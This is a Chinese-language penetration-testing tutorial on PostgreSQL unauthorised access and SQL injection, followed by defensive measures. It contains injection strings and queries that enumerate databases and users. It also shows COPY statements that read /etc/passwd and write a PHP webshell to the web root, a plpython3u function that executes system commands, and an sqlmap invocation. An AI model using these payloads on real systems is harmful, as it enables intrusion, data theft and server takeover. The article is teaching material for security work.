又记一次安服仔薅洞实战-未授权之发现postgresql注入
字数 922 2025-08-07 08:22:25
PostgreSQL未授权访问与注入攻击实战分析
1. 漏洞背景
PostgreSQL是一种功能强大的开源关系型数据库系统,但在配置不当的情况下可能面临未授权访问风险,进而导致SQL注入攻击。本文基于奇安信攻防社区分享的实战案例,详细分析PostgreSQL未授权访问漏洞的发现和利用过程。
2. 漏洞发现
2.1 未授权访问检测
PostgreSQL默认监听5432端口,检测步骤如下:
- 端口扫描发现开放5432端口
- 尝试直接连接:
psql -h 目标IP -U postgres - 若未设置密码或使用弱密码,可直接获取数据库访问权限
2.2 注入点识别
在获得未授权访问后,需寻找可能存在SQL注入的接口或功能点:
- 检查Web应用与PostgreSQL交互的接口
- 寻找用户输入直接拼接到SQL查询中的位置
- 重点关注搜索、筛选、排序等功能的参数
3. PostgreSQL注入技术
3.1 基础注入技术
-- 布尔型盲注
' AND 1=1--
' AND 1=2--
-- 时间型盲注
'; SELECT pg_sleep(10)--
3.2 PostgreSQL特有函数
-- 获取版本信息
SELECT version();
-- 获取当前数据库
SELECT current_database();
-- 获取所有数据库
SELECT datname FROM pg_database;
-- 获取当前用户
SELECT current_user;
-- 获取所有用户
SELECT usename FROM pg_user;
-- 获取表信息
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
-- 获取列信息
SELECT column_name FROM information_schema.columns WHERE table_name='目标表';
3.3 文件系统操作
PostgreSQL允许有权限的用户读写文件:
-- 读取服务器文件
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;
DROP TABLE temp;
-- 写入文件(获取WebShell)
COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/html/shell.php';
3.4 命令执行
利用PostgreSQL扩展执行系统命令:
-- 检查是否安装危险扩展
SELECT * FROM pg_extension WHERE extname='plperlu' OR extname='plpythonu' OR extname='plpython3u';
-- 创建扩展(需要超级用户权限)
CREATE EXTENSION plperlu;
CREATE EXTENSION plpythonu;
-- 执行系统命令
CREATE OR REPLACE FUNCTION system(cmd text) RETURNS int AS
$$
import os
return os.system(cmd)
$$
LANGUAGE plpython3u;
SELECT system('id');
4. 防御措施
4.1 防止未授权访问
- 修改默认端口
- 设置强密码策略
- 配置pg_hba.conf限制访问IP
- 禁止postgres用户远程登录
4.2 防止SQL注入
- 使用参数化查询(预处理语句)
- 实施最小权限原则
- 禁用危险扩展
- 定期更新PostgreSQL版本
- 实施Web应用防火墙(WAF)规则
5. 实战技巧
- 使用
pg_dump工具导出数据库 - 利用
dblink扩展进行数据库间连接 - 通过
pg_stat_activity查看当前活动连接 - 使用
pg_read_file()函数读取文件(9.1+版本)
6. 自动化工具
- sqlmap:支持PostgreSQL注入检测
sqlmap -u "目标URL" --dbms=postgresql - Metasploit:包含PostgreSQL相关攻击模块
- pgAdmin:图形化管理工具,可用于信息收集
7. 总结
PostgreSQL未授权访问结合SQL注入可导致严重的安全后果,攻击者可能获取敏感数据、执行系统命令甚至完全控制服务器。管理员应严格配置数据库访问权限,开发者应遵循安全编码规范,共同构建安全的数据存储环境。